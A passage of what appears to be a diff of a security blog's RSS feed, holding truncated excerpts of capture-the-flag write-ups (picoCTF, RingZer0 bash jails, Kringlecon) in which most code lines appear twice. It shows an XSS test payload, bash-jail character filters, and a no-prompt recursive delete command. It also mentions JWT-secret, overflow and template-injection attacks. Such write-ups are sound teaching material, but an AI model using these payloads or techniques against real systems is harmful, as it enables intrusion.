easy to setup Arch for gaming, thanks to programs like &lt;a href="https://lutris.net/"&gt;Lutris&lt;/a&gt; and &lt;a href="https://usebottles.com/"&gt;Bottles&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Twosum</title><link>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</link><pubDate>Mon, 10 Apr 2023 08:44:28 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</guid><description>&lt;p&gt;This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
@@ -757,7 +757,7 @@ the second. Adding them would cause the result to wrap around and become negativ
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;
@@ -793,7 +793,7 @@ We are also given the source code of the application.&lt;/p&gt;
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
@@ -845,7 +845,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
@@ -855,7 +855,7 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item><item><title>Pixelated</title><link>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</link><pubDate>Tue, 22 Nov 2022 09:25:20 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</guid><description>&lt;p&gt;This challenge gives use two images and asks us if we can make a flag out of them.
At first glance, both the images look like noise. Upon a quick web lookup of
&lt;a href="https://en.wikipedia.org/wiki/Visual_cryptography"&gt;visual cryptography&lt;/a&gt;, it appears
@@ -875,17 +875,17 @@ given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter &lt;code&gt;r&lt;/code&gt;. Let&amp;rsquo;s write
a go program to do that.&lt;/p&gt;
&lt;p&gt;First let&amp;rsquo;s declare the url as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page and defer closing its body once the program ends.&lt;/p&gt;</description></item><item><title>Hash Me Please</title><link>https://lavafroth.is-a.dev/post/r0-hash-me-please/</link><pubDate>Fri, 19 Aug 2022 09:57:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/r0-hash-me-please/</guid><description>&lt;p&gt;In this RingZer0 challenge, we are asked to visit
&lt;a href="http://challenges.ringzer0team.com:10013/"&gt;http://challenges.ringzer0team.com:10013/&lt;/a&gt; and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
&lt;a href="http://challenges.ringzer0team.com:10013/?r=response"&gt;http://challenges.ringzer0team.com:10013/?r=&lt;em&gt;response&lt;/em&gt;&lt;/a&gt;
and to do that, we&amp;rsquo;ll be using some Golang.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s declare the URI as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page using the &lt;code&gt;Get&lt;/code&gt; function from the &lt;code&gt;http&lt;/code&gt; standard
library, checking for errors along the way.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Fatalln&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
@@ -903,7 +903,7 @@ Before you walk away saying, &lt;a href="https://www.youtube.com/watch?v=RXS1sJm
The redirection, however, is done using javascript instead of regular HTTP status codes like 302.
This meant, one couldn&amp;rsquo;t simply run the following and expect to see a video.&lt;/p&gt;</description></item><item><title>Bash Jail 3</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</link><pubDate>Sun, 24 Jul 2022 12:29:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level3/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdksc&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -928,7 +928,7 @@ This meant, one couldn&amp;rsquo;t simply run the following and expect to see a
which means we cannot exfiltrate the flag from &lt;code&gt;stderr&lt;/code&gt; since it is blocked.&lt;/p&gt;</description></item><item><title>Bash Jail 2</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</link><pubDate>Sun, 24 Jul 2022 12:28:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level2/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="challenge-bash-code"&gt;Challenge bash code&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdks&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#39;&amp;#39;&amp;amp;&amp;#39;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -955,7 +955,7 @@ string among &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;d&lt;/code&gt;,&lt;code&gt;k
return 1, we get a &amp;ldquo;restricted characters&amp;rdquo; message and no further processing happens.&lt;/p&gt;</description></item><item><title>Bash Jail 1</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</link><pubDate>Sun, 24 Jul 2022 12:27:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Upon SSHing into the box, we are told that the flag is located at &lt;code&gt;/home/level1/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Challenge bash code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Your input:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read input
@@ -979,7 +979,7 @@ installing the suite of tools.&lt;/p&gt;
&lt;h1 id="operation-oni"&gt;Operation Oni&lt;/h1&gt;
&lt;p&gt;The challenge has an associated instance which we&amp;rsquo;ll need to log into using SSH using
the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are provided with a compressed disk image &lt;code&gt;disk.img.gz&lt;/code&gt; which we&amp;rsquo;ll decompress with:&lt;/p&gt;</description></item><item><title>JAuth</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</link><pubDate>Tue, 22 Feb 2022 14:49:34 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/</guid><description>&lt;p&gt;The challenge description states that most web application developers use third party components without testing their security.
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at &lt;a href="http://saturn.picoctf.net:52025/"&gt;http://saturn.picoctf.net:52025/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The goal is to become an &lt;code&gt;admin&lt;/code&gt;.
@@ -992,12 +992,12 @@ We are provied with the username &lt;code&gt;test&lt;/code&gt; and the password
&lt;p&gt;Since the mileage for second step might vary from person to person, I&amp;rsquo;ll elaborate on the first step.&lt;/p&gt;
&lt;p&gt;I chose &lt;a href="https://codeberg.org/jbruchon/jdupes"&gt;jdupes&lt;/a&gt; for deleting the duplicates because it&amp;rsquo;s open-source and is cross platform.&lt;/p&gt;
&lt;p&gt;For a given folder we would run the following to wipe the duplicates:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jdupes --recurse --delete --no-prompt --zero&lt;span style="color:#f92672"&gt;-match&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.&lt;/p&gt;</description></item><item><title>Notepad</title><link>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</link><pubDate>Mon, 21 Feb 2022 09:24:30 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/</guid><description>&lt;p&gt;At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.&lt;/p&gt;
&lt;p&gt;The first thing I tried was triggering XSS (cross site scripting) with the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;&lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The application source directory tree looks like the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── app.py
@@ -1013,7 +1013,138 @@ After submitting the query, we are redirected to an html page containing the con
Additionally some might even keep &lt;code&gt;builtins&lt;/code&gt; and &lt;code&gt;eval&lt;/code&gt; out of reach.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=SN6EVIG4c-0"&gt;Here&lt;/a&gt; is a cool video explanation by @pwnfunction on server side template
injection wherein he mentions a way to &amp;ldquo;gadget&amp;rdquo; our way out of Flask&amp;rsquo;s Jinja2 backend to get remote code execution.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the gist of it:&lt;/p&gt;</description></item><item><title/><link>https://lavafroth.is-a.dev/project_mana/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://lavafroth.is-a.dev/project_mana/</guid><description>&lt;div id="stage"&gt;
&lt;p&gt;Here&amp;rsquo;s the gist of it:&lt;/p&gt;</description></item><item><title/><link>https://lavafroth.is-a.dev/easy-ssh-tunnel/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://lavafroth.is-a.dev/easy-ssh-tunnel/</guid><description>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
&lt;meta charset="UTF-8" /&gt;
&lt;title&gt;Easy SSH tunnel&lt;/title&gt;
&lt;meta name="viewport" content="width=device-width,initial-scale=1" /&gt;
&lt;meta name="description" content="" /&gt;
&lt;style&gt;
* {
